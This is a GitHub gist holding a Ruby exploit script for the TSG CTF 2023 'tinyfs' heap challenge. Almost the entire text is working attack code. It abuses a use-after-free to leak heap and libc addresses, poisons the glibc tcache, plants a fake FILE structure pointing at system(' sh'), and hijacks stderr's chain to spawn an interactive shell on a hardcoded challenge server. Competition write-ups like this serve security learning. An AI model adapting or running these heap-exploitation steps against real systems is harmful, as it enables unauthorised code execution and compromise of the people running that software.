Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Created November 9, 2023 10:43
Show Gist options
  • Save Charo-IT/633bca51daac2e9c31ee25f3ab614e5f to your computer and use it in GitHub Desktop.
Save Charo-IT/633bca51daac2e9c31ee25f3ab614e5f to your computer and use it in GitHub Desktop.
TSG CTF 2023 - tinyfs
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib
class PwnTube
def recv_until_prompt
recv_until("$ ")
end
end
class Exploit
attr_reader :tube, :host, :port
attr_reader :offset, :got, :libc_offset
def initialize(remote)
@remote = remote
if remote?
@host, @port = "34.146.195.242 31415".split
else
@host = "localhost"
@port = 11111
end
@port = @port&.to_i
@libc_offset = {
"main_arena" => 0x1f6c80,
"_IO_wfile_jumps" => 0x1f3240,
"system" => 0x4ebf0,
"stdout" => 0x1f7780,
}
@offset = {
}
@got = {
}
end
def remote?
@remote
end
def mkdir(name)
tube.recv_until_prompt
tube.sendline("mkdir #{name}")
end
def touch(name)
tube.recv_until_prompt
tube.sendline("touch #{name}")
end
def cd(name)
tube.recv_until_prompt
tube.sendline("cd #{name}")
end
def rm(name)
tube.recv_until_prompt
tube.sendline("rm #{name}")
end
def ls
tube.recv_until_prompt
tube.sendline("ls")
end
def cat(name)
tube.recv_until_prompt
tube.sendline("cat #{name}")
end
def mod(name, data)
tube.recv_until_prompt
tube.sendline("mod #{name}")
tube.recv_until("Write Here > ")
tube.sendline(data)
end
def run
PwnTube.open(host, port){|t|
@tube = t
puts "[*] leak heap base"
mkdir("dir1")
cd("dir1")
touch("file1")
mkdir("dir2")
cd("/dir1/dir2")
cd("..")
cd("..")
rm("dir1")
cd("/dir1/dir2")
cd("..")
cat("file1")
heap_base = tube.recv_capture(/(.{5})\n/m)[0].ljust(16, "\0").unpack("Q")[0] << 12
puts "heap base = 0x%x" % heap_base
puts "[*] get tcache control"
cd("dir2")
touch("file2")
touch("file3")
rm("file3")
rm("file2")
cd("..")
mod("file2", [(heap_base + 0x30) ^ ((heap_base + 0x700) >> 12)].pack("Q"))
cd("..")
touch("file4")
touch("tcache")
puts "[*] leak libc base"
mkdir("dir3")
cd("dir3")
mkdir("dir4")
cd("/dir3/dir4")
cd("..")
touch("file5") # victim
cd("..")
touch("file6")
touch("file7")
touch("file8")
touch("file9")
payload = ""
payload << [0, 1, 0, 0].pack("S*")
payload << "\0" * 0xe0
payload << [heap_base + 0xfe0].pack("Q")
mod("tcache", payload)
touch("victimsize")
mod("victimsize", [0, 0x4c1].pack("Q*"))
rm("dir3")
cd("/dir3/dir4")
cd("..")
cat("file5")
libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x60
puts "libc base = 0x%x" % libc_base
puts "[*] prepare for fsop"
cd("..")
payload = "".ljust(0xe8, "\0").tap{|a|
a[0, 8] = " sh".ljust(8, "\0")
a[0x28, 8] = [1].pack("Q")
a[0x68, 8] = [libc_base + libc_offset["system"]].pack("Q")
a[0xa0, 8] = [heap_base + 0x1120].pack("Q")
a[0xd8, 8] = [libc_base + libc_offset["_IO_wfile_jumps"]].pack("Q")
a[0xe0, 8] = [heap_base + 0x1120].pack("Q")
}
mod("file6", payload)
puts "[*] overwrite stderr->_chain"
payload = ""
payload << [0, 1, 0, 0].pack("S*")
payload << "\0" * 0xe0
payload << [libc_base + libc_offset["stdout"] + 0x60].pack("Q")
mod("tcache", payload)
touch("fsop")
mod("fsop", [0, heap_base + 0x1120].pack("Q*"))
puts "[*] launch shell"
tube.recv_until_prompt
tube.sendline("exit")
tube.interactive
}
end
end
Exploit.new(ARGV[0] == "r").run
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment